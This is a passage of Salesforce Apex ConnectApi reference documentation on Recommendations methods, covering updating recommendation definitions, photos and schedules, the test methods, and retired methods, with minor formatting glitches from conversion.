Type: **String**

Title of the custom recommendation definition.

**actionUrl**

Type: **String**

URL for acting on the custom recommendation, for example, the URL to join a group.
actionUrlName
Type: String
Text label for the action URL in the user interface, for example, “Launch.”

explanation
Type: String
Explanation, or body, of the custom recommendation.

Return Value
Type: ConnectApi.RecommendationDefinition

Usage
Community managers can access, create, and delete audiences, definitions, and schedules for custom recommendations. (Community managers are users with the Create and Set Up Experiences or Manage Experiences permission.) Users with the Modify All Data permission can also access, create, and delete custom recommendation audiences, custom recommendation definitions, and scheduled custom recommendations.

updateRecommendationDefinition(communityId, recommendationDefinitionId, recommendationDefinition)
Update a custom recommendation definition.

API Version
35.0

Requires Chatter
No

Signature
public static ConnectApi.RecommendationDefinition updateRecommendationDefinition(String communityId, String recommendationDefinitionId, ConnectApi.RecommendationDefinitionInput recommendationDefinition)

Parameters
communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

recommendationDefinitionId
Type: String
ID of the custom recommendation definition.

recommendationDefinition
Type: ConnectApi.RecommendationDefinitionInput
A `ConnectApi.RecommendationDefinitionInput` object containing the properties to update.

Return Value
Type: `ConnectApi.RecommendationDefinition`

Usage
Community managers can access, create, and delete audiences, definitions, and schedules for custom recommendations. (Community managers are users with the Create and Set Up Experiences or Manage Experiences permission.) Users with the Modify All Data permission can also access, create, and delete custom recommendation audiences, custom recommendation definitions, and scheduled custom recommendations.

`updateRecommendationDefinitionPhoto(communityId, recommendationDefinitionId, fileUpload)`
Update a custom recommendation definition photo with a file that hasn’t been uploaded.

API Version
35.0

Requires Chatter
Yes

Signature
```
public static ConnectApi.Photo updateRecommendationDefinitionPhoto(String communityId, String recommendationDefinitionId, ConnectApi.BinaryInput fileUpload)
```

Parameters
- `communityId`
  Type: `String`
  Use the ID for an Experience Cloud site, internal, or null.
- `recommendationDefinitionId`
  Type: `String`
  ID of the custom recommendation definition.
- `fileUpload`
  Type: `ConnectApi.BinaryInput`
  A file to use as the photo. The content type must be usable as an image.

Return Value
Type: `ConnectApi.Photo`
Usage

Community managers can access, create, and delete audiences, definitions, and schedules for custom recommendations. (Community managers are users with the Create and Set Up Experiences or Manage Experiences permission.) Users with the Modify All Data permission can also access, create, and delete custom recommendation audiences, custom recommendation definitions, and scheduled custom recommendations.

$updateRecommendationDefinitionPhoto(communityId, recommendationDefinitionId, fileId, versionNumber)$

Update a custom recommendation definition photo with an uploaded file.

API Version
35.0

Requires Chatter
Yes

Signature

public static ConnectApi.Photo $updateRecommendationDefinitionPhoto(String communityId, String recommendationDefinitionId, String fileId, Integer versionNumber)$

Parameters

communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

recommendationDefinitionId
Type: String
ID of the custom recommendation definition.

fileId
Type: String
ID of a file already uploaded. The file must be an image, and be smaller than 2 GB.

versionNumber
Type: Integer
Version number of the existing file. Specify either an existing version number, or null to get the latest version.

Return Value
Type: ConnectApi.Photo

Usage

Community managers can access, create, and delete audiences, definitions, and schedules for custom recommendations. (Community managers are users with the Create and Set Up Experiences or Manage Experiences permission.) Users with the Modify All Data permission
can also access, create, and delete custom recommendation audiences, custom recommendation definitions, and scheduled custom recommendations.

**updateRecommendationDefinitionPhotoWithAttributes(communityId, recommendationDefinitionId, photo)**

Update a custom recommendation definition photo with an uploaded file that requires cropping.

**API Version**

35.0

**Requires Chatter**

Yes

**Signature**

```java
public static ConnectApi.Photo updateRecommendationDefinitionPhotoWithAttributes(String communityId, String recommendationDefinitionId, ConnectApi.PhotoInput photo)
```

**Parameters**

- **communityId**
  - Type: String
  - Use the ID for an Experience Cloud site, internal, or null.

- **recommendationDefinitionId**
  - Type: String
  - ID of the custom recommendation definition.

- **photo**
  - Type: `ConnectApi.PhotoInput`
  - A `ConnectApi.PhotoInput` object specifying the file ID, version number, and cropping parameters.

**Return Value**

- Type: `ConnectApi.Photo`

**Usage**

Community managers can access, create, and delete audiences, definitions, and schedules for custom recommendations. (Community managers are users with the Create and Set Up Experiences or Manage Experiences permission.) Users with the Modify All Data permission can also access, create, and delete custom recommendation audiences, custom recommendation definitions, and scheduled custom recommendations.

**updateRecommendationDefinitionPhotoWithAttributes(communityId, recommendationDefinitionId, photo, fileUpload)**

Update a custom recommendation definition photo with a file that hasn’t been uploaded and requires cropping.
public static ConnectApi.Photo updateRecommendationDefinitionPhotoWithAttributes(String communityId, String recommendationDefinitionId, ConnectApi.PhotoInput photo, ConnectApi.BinaryInput fileUpload)

Parameters

communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

recommendationDefinitionId
Type: String
ID of the custom recommendation definition.

photo
Type: ConnectApi.PhotoInput
A ConnectApi.PhotoInput object specifying the cropping parameters.

fileUpload
Type: ConnectApi.BinaryInput
A file to use as the photo. The content type must be usable as an image.

Return Value
Type: ConnectApi(Photo

Usage
Community managers can access, create, and delete audiences, definitions, and schedules for custom recommendations. (Community managers are users with the Create and Set Up Experiences or Manage Experiences permission.) Users with the Modify All Data permission can also access, create, and delete custom recommendation audiences, custom recommendation definitions, and scheduled custom recommendations.

updateScheduledRecommendation(communityId, scheduledRecommendationId, scheduledRecommendation)
Update a scheduled custom recommendation.
Requires Chatter
No

Signature
public static ConnectApi.ScheduledRecommendation updateScheduledRecommendation(String communityId, String scheduledRecommendationId, ConnectApi.ScheduledRecommendationInput scheduledRecommendation)

Parameters

- **communityId**
  - Type: String
  - Use the ID for an Experience Cloud site, internal, or null.

- **scheduledRecommendationId**
  - Type: String
  - ID of the scheduled custom recommendation.

- **scheduledRecommendation**
  - Type: ConnectApi.ScheduledRecommendationInput
  - A ConnectApi.ScheduledRecommendationInput object containing the properties to update.

Return Value
Type: ConnectApi.ScheduledRecommendation

Usage
Community managers can access, create, and delete audiences, definitions, and schedules for custom recommendations. (Community managers are users with the Create and Set Up Experiences or Manage Experiences permission.) Users with the Modify All Data permission can also access, create, and delete custom recommendation audiences, custom recommendation definitions, and scheduled custom recommendations.

**Ranking scheduled custom recommendations example**
If you have these scheduled custom recommendations:

<table>
<thead>
<tr>
<th>Scheduled Recommendations</th>
<th>Rank</th>
</tr>
</thead>
<tbody>
<tr>
<td>ScheduledRecommendationA</td>
<td>1</td>
</tr>
<tr>
<td>ScheduledRecommendationB</td>
<td>2</td>
</tr>
<tr>
<td>ScheduledRecommendationC</td>
<td>3</td>
</tr>
</tbody>
</table>

And you include this information in the Scheduled Custom Recommendation Input:

<table>
<thead>
<tr>
<th>Scheduled Recommendation</th>
<th>Rank</th>
</tr>
</thead>
<tbody>
<tr>
<td>ScheduledRecommendationD</td>
<td>2</td>
</tr>
</tbody>
</table>
The result is:

<table>
<thead>
<tr>
<th>Scheduled Recommendation</th>
<th>Rank</th>
</tr>
</thead>
<tbody>
<tr>
<td>ScheduledRecommendationA</td>
<td>1</td>
</tr>
<tr>
<td>ScheduledRecommendationD</td>
<td>2</td>
</tr>
<tr>
<td>ScheduledRecommendationB</td>
<td>3</td>
</tr>
<tr>
<td>ScheduledRecommendationC</td>
<td>4</td>
</tr>
</tbody>
</table>

**updateScheduledRecommendation(communityId, scheduledRecommendationId, rank, enabled, recommendationAudienceId)**

Update a scheduled custom recommendation with the specified parameters.

**API Version**
35.0

**Requires Chatter**
No

**Signature**

```java
public static ConnectApi.ScheduledRecommendation updateScheduledRecommendation(String communityId, String scheduledRecommendationId, Integer rank, Boolean enabled, String recommendationAudienceId)
```

**Parameters**

- **communityId**
  
  *Type: String*
  
  Use the ID for an Experience Cloud site, internal, or null.

- **scheduledRecommendationId**
  
  *Type: String*
  
  ID of the scheduled custom recommendation.

- **rank**
  
  *Type: Integer*
  
  Relative rank of the scheduled custom recommendation indicated by ascending whole numbers starting with 1.

  Setting the rank is comparable to an insertion into an ordered list. The scheduled custom recommendation is inserted into the position specified by the `rank`. The `rank` of all the scheduled custom recommendations after it is pushed down. See **Ranking scheduled custom recommendations example**.

  If the specified `rank` is larger than the size of the list, the scheduled custom recommendation is put at the end of the list. The `rank` of the scheduled custom recommendation is the size of the list, instead of the one specified.

  If a `rank` is not specified, the scheduled custom recommendation is put at the end of the list.
**enabled**

Type: *Boolean*

Indicates whether scheduling is enabled. If `true`, the custom recommendation is enabled and appears in Experience Cloud sites. If `false`, custom recommendations in feeds in Salesforce mobile web aren't removed, but no new custom recommendations appear. In Customer Service and Partner Central sites, disabled custom recommendations no longer appear.

**recommendationAudienceId**

Type: *String*

ID of the custom recommendation definition that this scheduled recommendation schedules.

**Return Value**

Type: `ConnectApi.ScheduledRecommendation`

**Usage**

Community managers can access, create, and delete audiences, definitions, and schedules for custom recommendations. (Community managers are users with the Create and Set Up Experiences or Manage Experiences permission.) Users with the Modify All Data permission can also access, create, and delete custom recommendation audiences, custom recommendation definitions, and scheduled custom recommendations.

**Ranking scheduled custom recommendations example**

If you have these scheduled custom recommendations:

<table>
<thead>
<tr>
<th>Scheduled Recommendations</th>
<th>Rank</th>
</tr>
</thead>
<tbody>
<tr>
<td>ScheduledRecommendationA</td>
<td>1</td>
</tr>
<tr>
<td>ScheduledRecommendationB</td>
<td>2</td>
</tr>
<tr>
<td>ScheduledRecommendationC</td>
<td>3</td>
</tr>
</tbody>
</table>

And you include this information in the Scheduled Custom Recommendation Input:

<table>
<thead>
<tr>
<th>Scheduled Recommendation</th>
<th>Rank</th>
</tr>
</thead>
<tbody>
<tr>
<td>ScheduledRecommendationD</td>
<td>2</td>
</tr>
</tbody>
</table>

The result is:

<table>
<thead>
<tr>
<th>Scheduled Recommendation</th>
<th>Rank</th>
</tr>
</thead>
<tbody>
<tr>
<td>ScheduledRecommendationA</td>
<td>1</td>
</tr>
<tr>
<td>ScheduledRecommendationD</td>
<td>2</td>
</tr>
<tr>
<td>ScheduledRecommendationB</td>
<td>3</td>
</tr>
<tr>
<td>ScheduledRecommendationC</td>
<td>4</td>
</tr>
</tbody>
</table>
Recommendations Test Methods

The following are the test methods for Recommendations. All methods are static.

For information about using these methods to test your ConnectApi code, see Testing ConnectApi Code.

IN THIS SECTION:

- `setTestGetRecommendationForUser(String communityId, String userId, ConnectApi.RecommendationActionType action, String objectId, ConnectApi.RecommendationCollection result)`
  Register a `ConnectApi.RecommendationCollection` object to be returned when `getRecommendationForUser` is called with matching parameters in a test context. Use the method with the same parameters or the code throws an exception.

- `setTestGetRecommendationsForUser(String communityId, String userId, String contextAction, String contextObjectId, String channel, int maxResults, ConnectApi.RecommendationCollection result)`
  Register a `ConnectApi.RecommendationCollection` object to be returned when `getRecommendationsForUser` is called with matching parameters in a test context. Use the method with the same parameters or the code throws an exception.

- `setTestGetRecommendationsForUser(String communityId, String userId, ConnectApi.RecommendationActionType action, String contextAction, String contextObjectId, String channel, int maxResults, ConnectApi.RecommendationCollection result)`
  Register a `ConnectApi.RecommendationCollection` object to be returned when `getRecommendationsForUser` is called with matching parameters in a test context. Use the method with the same parameters or the code throws an exception.

- `setTestGetRecommendationsForUser(String communityId, String userId, String objectCategory, String contextAction, String contextObjectId, String channel, int maxResults, ConnectApi.RecommendationCollection result)`
  Register a `ConnectApi.RecommendationCollection` object to be returned when `getRecommendationsForUser` is called with matching parameters in a test context. Use the method with the same parameters or the code throws an exception.

- `setTestGetRecommendationForUser(String communityId, String userId, ConnectApi.RecommendationActionType action, String objectId, ConnectApi.RecommendationCollection result)`
  Register a `ConnectApi.RecommendationCollection` object to be returned when `getRecommendationForUser` is called with matching parameters in a test context. Use the method with the same parameters or the code throws an exception.

**setTestGetRecommendationForUser(String communityId, String userId, ConnectApi.RecommendationActionType action, String objectId, ConnectApi.RecommendationCollection result)**

Register a `ConnectApi.RecommendationCollection` object to be returned when `getRecommendationForUser` is called with matching parameters in a test context. Use the method with the same parameters or the code throws an exception.

API Version

33.0

Requires Chatter

Yes

Signature

```java
public static Void setTestGetRecommendationForUser(String communityId, String userId,
ConnectApi.RecommendationActionType action, String objectId,
ConnectApi.RecommendationCollection result)
```

Parameters

- `communityId`
  Type: `String`
  Use the ID for an Experience Cloud site, *internal*, or *null*.

- `userId`
  Type: `String`
  The ID for the context user or the keyword `me`.

1917
**action**
Type: ConnectApi.RecommendationActionType
Specifies the action to take on a recommendation.
- follow—Follow a file, record, topic, or user.
- join—Join a group.
- view—View a file, group, article, record, user, custom, or static recommendation.

**objectId**
Type: String
Specifies the object to take action on.
- If action is follow, objectId is a user ID, file ID, record ID, or topic ID (version 36.0 and later).
- If action is join, objectId is a group ID.
- If action is view, objectId is a user ID, file ID, group ID, record ID, custom recommendation ID, the enum Today for static recommendations, or an article ID (version 37.0 and later).

**result**
Type: ConnectApi.RecommendationCollection
The object containing test data.

Return Value
Type: Void

SEE ALSO:
- getRecommendationForUser(communityId, userId, action, objectId)
- Testing ConnectApi Code

setTestGetRecommendationsForUser(communityId, userId, contextAction, contextObjectId, channel, maxResults, result)
Register a ConnectApi.RecommendationCollection object to be returned when getRecommendationsForUser is called with matching parameters in a test context. Use the method with the same parameters or the code throws an exception.

API Version
36.0

Requires Chatter
Yes

Signature
```
public static Void setTestGetRecommendationsForUser(String communityId, String userId, 
ConnectApi.RecommendationActionType contextAction, String contextObjectId, 
ConnectApi.RecommendationChannel channel, Integer maxResults, 
ConnectApi.RecommendationCollection result)
```
Parameters

**communityId**
Type: String
Use the ID for an Experience Cloud site, internal, or null.

**userId**
Type: String
The ID for the context user or the keyword me.

**contextAction**
Type: ConnectApi.RecommendationActionType
Action that the context user just performed. Supported values are:
- follow
- view

Use **contextAction** and **contextObjectId** together to get new recommendations based on the action just performed. If you don’t want recommendations based on a recent action, specify null.

**contextObjectId**
Type: String
ID of the object that the context user just performed an action on.
- If **contextAction** is follow, **contextObjectId** is a user ID, file ID, record ID, or topic ID.
- If **contextAction** is view, **contextObjectId** is a user ID, file ID, group ID, record ID, or article ID (version 37.0 and later).

Use **contextAction** and **contextObjectId** together to get new recommendations based on the action just performed. If you don’t want recommendations based on a recent action, specify null.

**channel**
Type: ConnectApi.RecommendationChannel
A way to tie custom recommendations together. For example, display recommendations in specific places in the UI or show recommendations based on time of day or geographic locations. Values are:
- CustomChannel1—Custom recommendation channel. Not used by default. Work with your community manager to define custom channels. For example, community managers can use Experience Builder to determine where recommendations appear.
- CustomChannel2—Custom recommendation channel. Not used by default. Work with your community manager to define custom channels.
- CustomChannel3—Custom recommendation channel. Not used by default. Work with your community manager to define custom channels.
- CustomChannel4—Custom recommendation channel. Not used by default. Work with your community manager to define custom channels.
- CustomChannel5—Custom recommendation channel. Not used by default. Work with your community manager to define custom channels.

**maxResults**
Type: Integer
Maximum number of recommendation results; default is 10. Values must be from 1 to 99.

result
Type: ConnectApi.RecommendationCollection
The object containing test data.

Return Value
Type: Void

SEE ALSO:
getRecommendationsForUser(communityId, userId, contextAction, contextObjectId, channel, maxResults)
Testing ConnectApi Code

setTestGetRecommendationsForUser(communityId, userId, action, contextAction, contextObjectId, channel, maxResults, result)
Register a ConnectApi.RecommendationCollection object to be returned when getRecommendationsForUser is called with matching parameters in a test context. Use the method with the same parameters or the code throws an exception.

API Version
36.0

Requires Chatter
Yes

Signature
public static Void setTestGetRecommendationsForUser(String communityId, String userId, ConnectApi.RecommendationActionType action, ConnectApi.RecommendationActionType contextAction, String contextObjectId, ConnectApi.RecommendationChannel channel, Integer maxResults, ConnectApi.RecommendationCollection result)

Parameters
communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

userId
Type: String
The ID for the context user or the keyword me.

action
Type: ConnectApi.RecommendationActionType
Specifies the action to take on a recommendation.
• follow—Follow a file, record, topic, or user.
• join—Join a group.
• view—View a file, group, article, record, user, custom, or static recommendation.

**contextAction**
Type: ConnectApi.RecommendationActionType
Action that the context user just performed. Supported values are:
• follow
• view

Use `contextAction` and `contextObjectId` together to get new recommendations based on the action just performed. If you don’t want recommendations based on a recent action, specify `null`.

**contextObjectId**
Type: String
ID of the object that the context user just performed an action on.
• If `contextAction` is `follow`, `contextObjectId` is a user ID, file ID, record ID, or topic ID.
• If `contextAction` is `view`, `contextObjectId` is a user ID, file ID, group ID, record ID, or article ID (version 37.0 and later).

Use `contextAction` and `contextObjectId` together to get new recommendations based on the action just performed. If you don’t want recommendations based on a recent action, specify `null`.

**channel**
Type: ConnectApi.RecommendationChannel
A way to tie custom recommendations together. For example, display recommendations in specific places in the UI or show recommendations based on time of day or geographic locations. Values are:
• CustomChannel1—Custom recommendation channel. Not used by default. Work with your community manager to define custom channels. For example, community managers can use Experience Builder to determine where recommendations appear.
• CustomChannel2—Custom recommendation channel. Not used by default. Work with your community manager to define custom channels.
• CustomChannel3—Custom recommendation channel. Not used by default. Work with your community manager to define custom channels.
• CustomChannel4—Custom recommendation channel. Not used by default. Work with your community manager to define custom channels.
• CustomChannel5—Custom recommendation channel. Not used by default. Work with your community manager to define custom channels.
• DefaultChannel—Default recommendation channel. Recommendations appear by default on the Home and Question Detail pages of Customer Service and Partner Central Experience Builder templates. They also appear in the feed in the Salesforce mobile web and anywhere community managers add recommendations using Experience Builder.

**maxResults**
Type: Integer
Maximum number of recommendation results; default is 10. Values must be from 1 to 99.

**result**
Type: ConnectApi.RecommendationCollection
The object containing test data.
Return Value
Type: Void

SEE ALSO:
getRecommendationsForUser(communityId, userId, action, contextAction, contextObjectId, channel, maxResults)
Testing ConnectApi Code

setTestGetRecommendationsForUser(communityId, userId, action, objectCategory, contextAction, contextObjectId, channel, maxResults, result)

Register a ConnectApi.RecommendationCollection object to be returned when getRecommendationsForUser is called with matching parameters in a test context. Use the method with the same parameters or the code throws an exception.

API Version
36.0

Requires Chatter
Yes

Signature
public static Void setTestGetRecommendationsForUser(String communityId, String userId, ConnectApi.RecommendationActionType action, String objectCategory, ConnectApi.RecommendationActionType contextAction, String contextObjectId, ConnectApi.RecommendationChannel channel, Integer maxResults, ConnectApi.RecommendationCollection result)

Parameters

communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

userId
Type: String
The ID for the context user or the keyword me.

action
Type: ConnectApi.RecommendationActionType
Specifies the action to take on a recommendation.
- follow—Follow a file, record, topic, or user.
- join—Join a group.
- view—View a file, group, article, record, user, custom, or static recommendation.

objectCategory
Type: String
• If action is follow, objectCategory is users, files, records, or topics.
• If action is join, objectCategory is groups.
• If action is view, objectCategory is users, files, groups, records, custom, apps, or articles (version 37.0 and later).

You can also specify a key prefix, the first three characters of the object ID, as the objectCategory. Valid values are:
• If action is follow, objectCategory is 005 (users), 069 (files), 0TO (topics), or 001 (accounts), for example.
• If action is join, objectCategory is 0F9 (groups).
• If action is view, objectCategory is 005 (users), 069 (files), 0F9 (groups), 0RD (custom recommendations), T (static recommendations), 001 (accounts), or kA0 (articles), for example, (version 37.0 and later).

costextAction
  Type: ConnectApi.RecommendationActionType
  Action that the context user just performed. Supported values are:
  • follow
  • view

  Use contextAction and contextObjectId together to get new recommendations based on the action just performed. If you don’t want recommendations based on a recent action, specify null.

costextObjectId
  Type: String
  ID of the object that the context user just performed an action on.
  • If contextAction is follow, contextObjectId is a user ID, file ID, record ID, or topic ID.
  • If contextAction is view, contextObjectId is a user ID, file ID, group ID, record ID, or article ID (version 37.0 and later).

  Use contextAction and contextObjectId together to get new recommendations based on the action just performed. If you don’t want recommendations based on a recent action, specify null.

channel
  Type: ConnectApi.RecommendationChannel
  A way to tie custom recommendations together. For example, display recommendations in specific places in the UI or show recommendations based on time of day or geographic locations. Values are:
  • CustomChannel1—Custom recommendation channel. Not used by default. Work with your community manager to define custom channels. For example, community managers can use Experience Builder to determine where recommendations appear.
  • CustomChannel2—Custom recommendation channel. Not used by default. Work with your community manager to define custom channels.
  • CustomChannel3—Custom recommendation channel. Not used by default. Work with your community manager to define custom channels.
  • CustomChannel4—Custom recommendation channel. Not used by default. Work with your community manager to define custom channels.
  • CustomChannel5—Custom recommendation channel. Not used by default. Work with your community manager to define custom channels.
  • DefaultChannel—Default recommendation channel. Recommendations appear by default on the Home and Question Detail pages of Customer Service and Partner Central Experience Builder templates. They also appear in the feed in the Salesforce mobile web and anywhere community managers add recommendations using Experience Builder.
**maxResults**  
Type: **Integer**  
Maximum number of recommendation results; default is 10. Values must be from 1 to 99.

**result**  
Type: **ConnectApi.RecommendationCollection**  
The object containing test data.

Return Value  
Type: **Void**

SEE ALSO:  
- `getRecommendationsForUser(communityId, userId, action, objectCategory, contextAction, contextObjectId, channel, maxResults)`  
- Testing ConnectApi Code

**Retired Recommendations Methods**
The following methods for Recommendations are retired.

IN THIS SECTION:  
- `createScheduledRecommendation(communityId, recommendationDefinitionId, rank, enabled, recommendationAudienceId)`  
Create a scheduled custom recommendation with the specified parameters.  
- `getRecommendationsForUser(communityId, userId, contextAction, contextObjectId, maxResults)`  
Get the Chatter recommendations, such as user, group, file, and record recommendations for the context user. Get the custom and static recommendations for the context user.  
- `getRecommendationsForUser(communityId, userId, action, contextAction, contextObjectId, maxResults)`  
Get the Chatter, custom, and static recommendations for the context user for the specified action.  
- `getRecommendationsForUser(communityId, userId, action, objectCategory, contextAction, contextObjectId, maxResults)`  
Get the Chatter, custom, and static recommendations for the context user for the specified action and object category.  
- `getScheduledRecommendations(communityId)`  
Get scheduled custom recommendations.  
- `setTestGetRecommendationsForUser(communityId, userId, contextAction, contextObjectId, maxResults, result)`  
Register a `ConnectApi.RecommendationCollection` object to be returned when `getRecommendationsForUser` is called with matching parameters in a test context. Use the method with the same parameters or the code throws an exception.  
- `setTestGetRecommendationsForUser(communityId, userId, action, contextAction, contextObjectId, maxResults, result)`  
Register a `ConnectApi.RecommendationCollection` object to be returned when `getRecommendationsForUser` is called with matching parameters in a test context. Use the method with the same parameters or the code throws an exception.  
- `setTestGetRecommendationsForUser(communityId, userId, action, objectCategory, contextAction, contextObjectId, maxResults, result)`  
Register a `ConnectApi.RecommendationCollection` object to be returned when `getRecommendationsForUser` is called with matching parameters in a test context. Use the method with the same parameters or the code throws an exception.
createScheduledRecommendation(communityId, recommendationDefinitionId, rank, enabled, recommendationAudienceId)

Create a scheduled custom recommendation with the specified parameters.

API Version
35.0 only

**Important:** In version 36.0 and later, use `createScheduledRecommendation(communityId, recommendationDefinitionId, rank, enabled, recommendationAudienceId, channel)`.

Requires Chatter
No

Signature

```java
public static ConnectApi.ScheduledRecommendation createScheduledRecommendation(String communityId, String recommendationDefinitionId, Integer rank, Boolean enabled, String recommendationAudienceId)
```

Parameters

- `communityId`
  Type: `String`
  Use the ID for an Experience Cloud site, `internal`, or `null`.

- `recommendationDefinitionId`
  Type: `String`
  ID of the custom recommendation definition.

- `rank`
  Type: `Integer`
  Relative rank of the scheduled custom recommendation indicated by ascending whole numbers starting with 1.
  Setting the `rank` is comparable to an insertion into an ordered list. The scheduled custom recommendation is inserted into the position specified by the `rank`. The `rank` of all the scheduled custom recommendations after it is pushed down. See Ranking scheduled custom recommendations example.
  If the specified `rank` is larger than the size of the list, the scheduled custom recommendation is put at the end of the list. The `rank` of the scheduled custom recommendation is the size of the list, instead of the one specified.
  If a `rank` is not specified, the scheduled custom recommendation is put at the end of the list.

- `enabled`
  Type: `Boolean`
  Indicates whether scheduling is enabled. If `true`, the custom recommendation is enabled and appears in Experience Cloud sites. If `false`, custom recommendations in feeds in Salesforce mobile web aren't removed, but no new custom recommendations appear. In Customer Service and Partner Central sites, disabled custom recommendations no longer appear.

- `recommendationAudienceId`
  Type: `String`
  ID of the custom recommendation definition that this scheduled recommendation schedules.
Return Value
Type: `ConnectApi.ScheduledRecommendation`

Usage
Community managers can access, create, and delete audiences, definitions, and schedules for custom recommendations. (Community managers are users with the Create and Set Up Experiences or Manage Experiences permission.) Users with the Modify All Data permission can also access, create, and delete custom recommendation audiences, custom recommendation definitions, and scheduled custom recommendations.

**Ranking scheduled custom recommendations example**

If you have these scheduled custom recommendations:

<table>
<thead>
<tr>
<th>Scheduled Recommendations</th>
<th>Rank</th>
</tr>
</thead>
<tbody>
<tr>
<td>ScheduledRecommendationA</td>
<td>1</td>
</tr>
<tr>
<td>ScheduledRecommendationB</td>
<td>2</td>
</tr>
<tr>
<td>ScheduledRecommendationC</td>
<td>3</td>
</tr>
</tbody>
</table>

And you include this information in the Scheduled Custom Recommendation Input:

<table>
<thead>
<tr>
<th>Scheduled Recommendation</th>
<th>Rank</th>
</tr>
</thead>
<tbody>
<tr>
<td>ScheduledRecommendationD</td>
<td>2</td>
</tr>
</tbody>
</table>

The result is:

<table>
<thead>
<tr>
<th>Scheduled Recommendation</th>
<th>Rank</th>
</tr>
</thead>
<tbody>
<tr>
<td>ScheduledRecommendationA</td>
<td>1</td>
</tr>
<tr>
<td>ScheduledRecommendationD</td>
<td>2</td>
</tr>
<tr>
<td>ScheduledRecommendationB</td>
<td>3</td>
</tr>
<tr>
<td>ScheduledRecommendationC</td>
<td>4</td>
</tr>
</tbody>
</table>

`getRecommendationsForUser(communityId, userId, contextAction, contextObjectId, maxResults)`

Get the Chatter recommendations, such as user, group, file, and record recommendations for the context user. Get the custom and static recommendations for the context user.

API Version
33.0–35.0
Important: In version 36.0 and later, use `getRecommendationsForUser(communityId, userId, contextAction, contextObjectId, channel, maxResults)`.

Requires Chatter
Yes

Signature
```
public static ConnectApi.RecommendationCollection getRecommendationsForUser(String communityId, String userId, ConnectApi.RecommendationActionType contextAction, String contextObjectId, Integer maxResults)
```

Parameters

`communityId`
Type: String
Use the ID for an Experience Cloud site, internal, or null.

`userId`
Type: String
The ID for the context user or the keyword `me`.

`contextAction`
Type: ConnectApi.RecommendationActionType
Action that the context user just performed. Supported values are:
- follow
- view

Use `contextAction` and `contextObjectId` together to get new recommendations based on the action just performed. If you don’t want recommendations based on a recent action, specify null.

`contextObjectId`
Type: String
ID of the object that the context user just performed an action on.
- If `contextAction` is follow, `contextObjectId` is a user ID, file ID, or record ID.
- If `contextAction` is view, `contextObjectId` is a user ID, file ID, group ID, or record ID.

Use `contextAction` and `contextObjectId` together to get new recommendations based on the action just performed. If you don’t want recommendations based on a recent action, specify null.

`maxResults`
Type: Integer
Maximum number of recommendation results; default is 10. Values must be from 1 to 99.

Return Value
Type: ConnectApi.RecommendationCollection
Usage

If you want to get recommendations based on a recent action performed, such as following a user, use `contextAction` and `contextObjectId` together. For example, if you just followed Pam, you specify `follow` for `contextAction` and Pam's user ID for `contextObjectId`.

This method only recommends users who are followed by people who follow Pam. In this example, John follows Pam so the method returns a recommendation for you to follow Suzanne since John also follows Suzanne.

To test code that uses this method, use the matching set test method (prefix the method name with `setTest`). Use the set test method with the same parameters or the code throws an exception.

SEE ALSO:

- `setTestGetRecommendationsForUser(communityId, userId, contextAction, contextObjectId, maxResults, result)`

Testing ConnectApi Code

`getRecommendationsForUser(communityId, userId, action, contextAction, contextObjectId, maxResults)`

Get the Chatter, custom, and static recommendations for the context user for the specified action.

API Version

33.0–35.0

**Important:** In version 36.0 and later, use `getRecommendationsForUser(communityId, userId, action, contextAction, contextObjectId, channel, maxResults)`.

Requires Chatter

Yes
public static ConnectApi.RecommendationCollection getRecommendationsForUser(String communityId, String userId, ConnectApi.RecommendationActionType action, ConnectApi.RecommendationActionType contextAction, String contextObjectId, Integer maxResults)

Parameters

`communityId`
Type: String
Use the ID for an Experience Cloud site, internal, or null.

`userId`
Type: String
The ID for the context user or the keyword me.

`action`
Type: ConnectApi.RecommendationActionType
Specifies the action to take on a recommendation.
- follow—Follow a file, record, topic, or user.
- join—Join a group.
- view—View a file, group, article, record, user, custom, or static recommendation.

`contextAction`
Type: ConnectApi.RecommendationActionType
Action that the context user just performed. Supported values are:
- follow
- view

Use `contextAction` and `contextObjectId` together to get new recommendations based on the action just performed. If you don’t want recommendations based on a recent action, specify null.

`contextObjectId`
Type: String
ID of the object that the context user just performed an action on.
- If `contextAction` is follow, `contextObjectId` is a user ID, file ID, or record ID.
- If `contextAction` is view, `contextObjectId` is a user ID, file ID, group ID, or record ID.

Use `contextAction` and `contextObjectId` together to get new recommendations based on the action just performed. If you don’t want recommendations based on a recent action, specify null.

`maxResults`
Type: Integer
Maximum number of recommendation results; default is 10. Values must be from 1 to 99.

Return Value
Type: ConnectApi.RecommendationCollection
Usage

If you want to get recommendations based on a recent action performed, such as following a user, use `contextAction` and `contextObjectId` together. For example, if you just followed Pam, you specify `follow` for `contextAction` and Pam's user ID for `contextObjectId`.

This method only recommends users who are followed by people who follow Pam. In this example, John follows Pam so the method returns a recommendation for you to follow Suzanne since John also follows Suzanne.

To test code that uses this method, use the matching set test method (prefix the method name with `setTest`). Use the set test method with the same parameters or the code throws an exception.

SEE ALSO:

- `setTestGetRecommendationsForUser(communityId, userId, action, contextAction, contextObjectId, maxResults, result)`
- Testing ConnectApi Code

`getRecommendationsForUser(communityId, userId, action, objectCategory, contextAction, contextObjectId, maxResults)`

Get the Chatter, custom, and static recommendations for the context user for the specified action and object category.

API Version

33.0–35.0

**Important:** In version 36.0 and later, use `getRecommendationsForUser(communityId, userId, action, objectCategory, contextAction, contextObjectId, channel, maxResults)`.

Requires Chatter

Yes
public static ConnectApi.RecommendationCollection getRecommendationsForUser(String communityId, String userId, ConnectApi.RecommendationActionType action, String objectCategory, ConnectApi.RecommendationActionType contextAction, String contextObjectId, Integer maxResults)

Parameters

communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

userId
Type: String
The ID for the context user or the keyword me.

action
Type: ConnectApi.RecommendationActionType
Specifies the action to take on a recommendation.
• follow—Follow a file, record, topic, or user.
• join—Join a group.
• view—View a file, group, article, record, user, custom, or static recommendation.

objectCategory
Type: String
• If action is follow, objectCategory is users, files, or records.
• If action is join, objectCategory is groups.
• If action is view, objectCategory is users, files, groups, records, custom, or apps.

You can also specify a key prefix, the first three characters of the object ID, as the objectCategory. Valid values are:
• If action is follow, objectCategory is 005 (users), 069 (files), or 001 (accounts), for example.
• If action is join, objectCategory is 0F9 (groups).
